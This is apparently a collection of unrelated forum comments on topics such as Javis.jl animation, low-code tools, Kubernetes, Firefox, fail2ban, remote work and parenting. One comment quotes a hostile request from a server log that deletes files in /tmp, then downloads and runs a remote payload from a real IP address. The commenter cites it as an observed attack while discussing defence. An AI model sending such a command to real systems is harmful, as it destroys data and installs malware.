Hey Yakubin,

Co-creator of Javis.jl here!
As adgjlsfhk1 said, there is an implicit global scope here!
This comes from a historic artifact from Cairo (which is what Javis is using deep within its tooling stack) which utilizes this sort of approach.

Here is an ELI5 that may help about the flow of a Javis animation: imagine Javis as a magical artist sitting at a table.
The artist is a bit peculiar as they can draw anything you want but will not draw anything until you finish telling them everything you want to see.
When you create a `Video` object, the artist grabs an empty notebook and opens it up.
If you create a `Background` object, basically you are telling the artist that you want the background of each page in the notebook to be, in this case, black for pages 1 - 200.
As you keep telling the artist what you want, the artist listens to how you want it ordered, how objects should appear and animate, etc.
Finally, when you tell the artist to `render` this animation, Javis springs to work and flips through all the different pages, drawing backgrounds, objects, etc. to match what you asked.
Then, when Javis is all done, the artist gives you the notebook that when you open it up, it will magically flip through all the pages (i.e. at a given frame rate) showing you your requested animation.

I know this ELI5 doesn't really get into the internals, but at a high level, that is what is happening with the start of the `Video` object.
Happy to give more details if desired.
We are trying to move to a v1.0.0 release very soon and in v2.0.0 we want to experiment with different syntax - perhaps a more implicit syntax similar to manim and Processing.
Out of curiosity, for you, do you find it necessary to know more about Javis's approach to use Javis or was this more of a question that you had?
Reason why I ask is perhaps we could add a "How Javis Works" section to the documentation if that could help more folks.

Thanks!
Excel is exactly what people should think of when "low code" comes up. All these other tools like Retool, Accern, UIpath, Webflow etc etc are immature and haven't fully proven their use cases, so of course they're easy for an experienced developer to start criticizing.

Ask those same developers if they'd want to use code for everything an experienced finance or accounting person uses Excel for. You can -- and there are cases where you should in fact be using Python or R. But generally, no. Excel is the perfect tool for its (very large) market niche, and all this current low / no code trend amounts to is people searching for more market niches.
They're obviously referencing the "it shouldn't take that long to create a language" bit.
Not all of your passwords will be in memory. I don't know how you read a password from "webpages".

Session tokens do not exist for websites you are not currently accessing. The password file will contain all the saved passwords, whether you are logged in or not.
you do understand the boiling of water and basically everything done on an induction cooker is dependent on the energy needed? this one is at 1800W 220V so your high end machine might be 3x or 5x that.
Looking back, I should have asked around. The job scheduler was one of several options so not everybody picked it. Still, somebody else must have.

The professor actually did relent and gave me a good (not perfect, but good) grade. Then he judged me extremely harshly on the final exam so I ended up with a B in the course anyway.
You don't need fraternities. You need to stop mocking people who treat extended family as important or base their personal decisions on relationships.
Oh, come on. Give me a break with the lazy "citation needed" comment. I'm not going to go hunt up a reference to a paper which reasons that compared with wind and solar rays constantly around us, nuclear fuel rods are inherently dangerous, nor that a dammed river is inherently dangerous because the dam may burst. I expect people to be able to reason about such things themselves.
I'm not most people, but I live on an acre and between myself and my dog, we use almost all of it. Probably half of it has grass, though.

Also, in many locations, the grass is already there when the house is built, but maybe needs some help coming back around the construction areas, so it's not like they're putting a lawn in that wasn't already there. It's just that perhaps now it's a lawn instead of a field because the house is there.
looking at some of these member states: you sure about that?
>this type of this would need to be opensource and not tied to one company for it to succeed otherwise you're just stuck on a single platform at the mercy of the company managing it. Vendor lock in doesn't quite do it justice.

In the low-code/no-code space, this is a feature not a bug. Some members of upper management at the company I work for have bought into the no-code hype. The sellers of no-code solutions rephrase vendor lock in as their "walled garden", evoking images of Apple's ecosystem and all the success they've had.

Of course, people who haven't drank the no-code koolaid can see it's just a way to get you locked in and paying a huge cloud services bill to the vendor every month.
It is absolutely not too late.

This sort of worrying is an unnecessary that this community needs to leave behind.
I do agree that low interest rates have helped fuel growth, but I'm not convinced that it's played that big of a role.

If we look at Europe and Japan, despite the historically low interest rates, they haven't exactly been a beacon of innovation in the last decades. In fact, the US and China have eaten most of their market share.

This article on The Economist talks about that:

https://www.economist.com/briefing/2021/06/05/once-a-corpora...

I think the US has cultural advantages when it comes to innovation and funding, and I don't see this changing anytime soon.

the issue with black people getting yellow cabs in manhattan was real, but tlc would also vigorously enforce any complaints.

i think total rent for a car was something like $260/day and $280/day with medallion. (i think this also includes insurance)

remains to be seen whether this is better than encouraging drivers to go out and buy a late model car on personal credit.

regarding the boroughs, you had to know how to live in the city. any bodega, bar or restaurant would have the number for the nearest black car dispatch and would often call for you... pickup was usually within 5 minutes.

anecdotally: yellow cab drivers often seemed like financially stable professionals who were often raising families and in a good financial position. uber drivers always felt like temps. black car bases throughout the boroughs were often small and family owned. again this is anecdotal, but i like talking to people.

The problem with trying to reduce ticks and mosquitoes in unnatural ways is that we often harm the things that eat them too. Since ticks and mosquitoes feed on us and other larger animals, they're the first to rebound their population, while their predators take longer to come back to keep their numbers down.
> Fail2ban is theater on a properly configured server

How do you block scanner scripts making hundreds of requests to your http server attempting to find login pages and other "secret" urls?

I see a variety of weird requests made to my http server. A sample:

`GET /shell?cd+/tmp;rm+-rf+*;wget+209.141.59.94/jaws;sh+/tmp/jaws HTTP/1.1`

Fail2ban seems a decent solution for this. Unless, of course, there's a better solution perhaps?
I moved to a mid-seized US city 6 months ago for grad school and I wholeheartedly agree with you.

The bit about hanging out in particular surprised me. I live in such a beautiful neighborhood, yet I almost never see any people outside. People are either walking their dogs or going from their door to car. I never saw a group of child randomly running around, teenagers doing teenager things, or bunch of old people just hanging about- sights I'm so used to. It's even more weird because these people are so friendly when you do get to interact with them.
> For a critique to be of any use you must propose a valid, better alternative

It's always nicer when critiques come with solutions, but a critique is valid if all it does is correctly point out an undesirable state of affairs, because recognizing and articulating problems clearly is an important initial step in ameliorating them, including actually coming up with any of those alternatives.

> Even if he actually criticized Capitalism, concluding "hence Capitalism is bad"

The article doesn't seem to argue either "Capitalism is bad" or "Adam Smith thought Capitalism was bad." It does seem to argue "Adam Smith thought Mercantalism was bad" and "Adam Smith's ideas seem to be poorly represented in popular thought, and some of his actual ideas may be only situationally applicable."

[Clippy: You seem to be mounting an ideological defense of whatever you believe Capitalism to be, would you like help with that?]

So, your beef is with people who implement all this.
I’m a competent Python programmer and am currently using PowerAutomate at work because Sharepoint. You know what’s scary about it? I can’t really write tests. My non-technical team understands why this is a problem, but it would never have occurred to them.
I would rather trust the CDC and WHO over the CEO of Goldman Sachs though
> human population growth becomes a consideration ... one that is rarely mentioned btw in climate change discussions.

Not in the context of methane generation, but I'd imagine there's scarcely a discussion of climate change that doesn't include the impact of humans in general, and human population growth in particular.
I suppose I must have been wrong about generalising it to "most elderly people", but my Granny who had lived in Donbas for 40 years doesn't know about it.
We have deep respect for languages, but HN is an English-language site, so posts here need to be in English.

That may require waiting until a good English-language article appears, but the more significant the topic is, the more (and sooner) this is likely to happen.

Sure. And doctor's love to point this out. And yet time and again we've seen that recommendations are influenced by conferences and pharma reps visiting them. Sure, maybe some doctors remain immune but a non-trivial portion of them treat it like the business transaction it is.
I think this is the inverse problem. In this case, timestamp is the appropriate data structure for the meeting and each person's client needs to convert it back to local time, accounting for things like daylight savings time and so on.
My front garden is full of various different plants, much nicer to look at. Back garden has a lawn which the kids play football and other things on, not very interesting - the squirrels on the fence and power line, and and pheasants which seem to somehow get in are better

Reducing a 22 minute long video to simply casual racism doesn't seem to me to be a very deep look into it.

Eh. I like and use Kubernetes as a tool. But, this over simplification at best.

Kubernetes is not a defecto and always better replacement of Ansible and shell scripts. In most small scale deployments, the value brought by Kubernetes is trumped by the costs of complexity. Bunch of scripts you say? Now you have bunch of yaml files laying around. Atleast before, you could find and fix problems manually quickly. Now, first find someone who has been in the weanies if kubernetes and it’s ecosystem to fix your problem.

In large scale infrastructure, kubernetes may bring the standardisation that is needed. Being able to hire people who knows kubernetes would be easier than hiring people who know how you wired your infra with ansible playbooks and scripts.

Portability you say? How easy do you think it is to move your infra(not just the apps, but - users, security rules, storage etc) to another kubernetes provider? EKS to AKS? Do you think AWS IAM and whatever equivalent Azure uses would be straight portable? Your S3 buckets and it’s policies to Azure block storage?
Selling K8s with infra portability is a lie.

Applications - yes, but that is achievable by other means as well.

Huge fan of Firefox (and Mozilla in general, leaving aside the recent controversies) for a decade and a half. But after the great improvements in performance as part of Quantum (v57), the last 2 years or so have been a slow degradation of performance for all power users (esp. users who keep a large number of tabs open, and especially so on OSX. Firefox is almost always the single biggest memory hog on my system, and pushes the fan spinning at full speed every few hours.

I wish there was more focus from Mozilla on continuously improving (or atleast keeping stable) Firefox performance, instead of these cycles of degradation, 1 great release to fix issues, and then a few years of ignoring perf again. ;(
The pandemic isn't over. Look at the graphs.[1] Still around 1,500 deaths a day in the US, day after day. "Real America" may be done with COVID, but COVID is not done with Real America.

Something funny is going on in a few states. In most states, as case rates decline, so do deaths, a few weeks later. In Florida. Alabama, Arkansas, and South Carolina, reported cases are way down, but reported deaths are climbing.

In truth, after raising four kids, it wouldn't break my heart if the schools reverted to just those three subjects. Plus a little reading and writing.
But can it do dedupe on such a box? I think the recommendation is still "1GB of RAM for each TB of storage" if you're using dedupe...

I still have some boards with ~512mb RAM lying around (an UltraSPARC for example) that I'd love to re-purpose to a cheap NAS, just for the heck of doing it on a non-x86 platform....
> I really don't understand the militancy of both sides.

Nor I, with the complete ridiculousness of "hybrid". And I support climate justice. Commutes to go to a workplace where someone is hacking coughing, and I'm still doing Teams meetings is fucking ridiculous. Never again.

> A lot of programmers love remote because they enjoy the isolation to do work. Others do not, be that because they need to talk to people, or because the home situation sucks donkey balls.

Standard introvert/extrovert justifications. People need to learn how to partition these things to create a hard delineation between work and not-work. Most whom I know who hate remotework don't have these essential skills.

> I suspect the venom is because people are assuming that its a binary situation, you're either a remote company or not. They worry that their remote will be taken from them. I don't think removing the remote option is wise or healthy.

It is binary. Either you're a remote-first org, in which where your butt's geographical location doesn't matter, or it does.

If you're remote, there's a LOT of positives including: uses no gas to get to work, less wear and tear on vehicle, climate benefits on massive scale, easily eat from home with food amenable to us, have access to niceties here at the house, pets, multitask with stuff like laundry (3 minutes activity with 1h waittimes), and I'm compensated the moment I log in versus commute.

WfW is bad because all the above aren't true. The major justifications I'm seeing with this revolves around business rents, middle-manager surveillance capitalism, and appearance of work vs work really done.

Hybrid it's worse than WfH or WfW. Now, most of the above are true, but in work's location, you're now having to also act remote.

> The other point to think about is this: remote work is brill if you are enjoying it, but it licks massive donkeyballs if you don't. Having that dread of the workplace seep into where you are living is deeply bad for your mental health.

That's the first real big change with remotework. YOU MUST SET HARD GATED THINGS BETWEEN WORK AND NOT-WORK. Me? I set my work laptops out at 8:55a and log in at 9a. I pack up my work laptops in their respective bags at 5p. I'll even do a short walk before and after shift as a "commute" and exercise. And sometimes, I'll even change clothes. The hard line is what's absolutely needed to partition work from not-work.
A lack of evidence doesn't indicate anything.

Witness SAC getting shut down. Or the Libor scandal. And many other scandals involving the financial sector.

Now, does GS specifically engage in such practices? Maybe, maybe not. But it's more than plausible.
"Omicron is less threatening not because it's weaker, but because people have been either vaccinated or exposed before."

Omicron likes the bronchi more than the lungs, which translates into a lot less pneumonia cases. That is the reason why so few people die of Omicron.

Yeah, I need to push myself to do this more I think.

Relatedly: before I read 1984 I thought I wouldn't get much out of it. I kinda thought "yeah I'm sure this was incredibly eye-opening at the time it was written, but these ideas are pretty mainstream in the cultural zeitgeist now, there's not much that's going to be illuminating in it to me".

But I was so wrong; Orwell does a phenomenal job of painting an incredibly vivid and unsettling picture of what that society would look like. The "bullet points" that came from general cultural awareness don't come close to the experience the book conveys.

The thing I remember most was how "stuck" everything felt. Like it really sank into you that the 1984 society had reached some tipping point of shutting down conversation that it didn't feel like it was possible to recover. All parts of the system all throughout the stack were keeping everything in check, and you got the sense that it wouldn't be possible for people to break out of it even if a lot of the people in power wanted to.

But the main point is that I'm not Orwell, so nothing I write about what I took from the book could substitute for hearing it from Orwell directly.
Came here to state the same, for a few years my firefox fix was to use waterfox[1] instead of firefox.

And now my best firefox fix is to use librewolf[2] instead of waterfox instead of firefox.

I had enough of mozilla treating me and my business like sh*t when the silently dropped alsa support on a ESR release and justifying by saying linux distro package maintainer should have not disabled our surveillance and tracking and no one wants to work on ALSA as it is a mess, turns mozilla code was a mess and in a matter of days someone came up volunteering to do the works they refused to, but then they switched their stance to say it's too late they're not going back to alsa just deal with it.

So I dealt with it by switching to waterfox which supported alsa with no plan of stopping and allowed firefox extensions to keep working.

When will mozilla stop hurting its own product by trying to make it the same as google's browser and mistreating their user base and supporters ?

"Why didn't I just?" so glad you asked.

Funnily enough, choice was so limited specifically because I didn't want any plastic and I refused to consider the ones on Amazon on general principle, which ruled out the Newness ones and I didn't like the Grunwerg ones because I suspect those over-handles are sintered crap that's barely better than plastic.

So now it's a choice between the ones on Sinplastico, a Chinese brand and a handful of artisan "best of British" brands that were very expensive (and also generally have ostentatiously old-fashioned styling).
Please don't use silly stuff like port knocking. Your SSH server already does a cryptographically sound authentication step. "Port knocking" is even more performative than fail2ban.
I think a strong argument is to be made that in the early ‘70s the tide turned and racism became viewed as old fashioned and embarrassing.

No, but you can start a business that manufactures the parts that HN experts have identified as "cash cows" for less than $10M.
Or one could just change the phone system so if you press "5" during a call, the caller gets charged 25 cents (going either to you, the phone company, or charity, it matters little). Phone spam would stop instantly.

It would require some technical changes, but nothing impossible.

> even if I try to get coffee them they usually end up having to bail in 20 minutes

I'm guilty of being that guy. I have four kids; two in diapers and one still trying to master the potty. Having "literally negative amount of free time" and "cutting into their health and sleep" is right, and it's good to hear a single person recognize this.

I had an old friend contact me recently because he's getting married and wanted to send me an invitation, but also wanted to catch up. I was interested in catching up, but it was two weeks before I finally found 20 minutes to call him on the phone while at a playground with my kids. Even then, when little kids see you on the phone, they panic because they don't have your attention, so one started tugging on my clothing and screaming "PAY ATTENTION TO ME!" Sadly, I usually just tell people to email me, because at least I can write a thoughtful reply when the kids are in bed or randomly absorbed in some activity for a few minutes.

Anyway, before my wife and I had kids, we felt like it was hard to make friends because everyone else had kids. We figured it would be easier with kids. Now I'm not sure. We can hang out with other parents when our kids play together, and we can relate to each other more, but everyone else is just as swamped, so these are just more casual acquaintances. It's also exponentially harder to find a good match between two adults and N kids who need to be similar ages and play well together. My wife still complains of being lonely all the time.

* I wrote this reply over the course of 30+ minutes in 2 minute slices in between responding to my kids' requests for various snacks, art supplies, and changing one diaper.
Sometimes local date-time (with optionally a location) is better. If I tag a photo as Christmas morning and upload it to a global photosharing site, I'd expect something that says when I took it in my local time and optionally location. I don't care about UTC or the photo's timestamp in the viewers timezone. If you want to make it complicated store UTC + offset (not timezone).
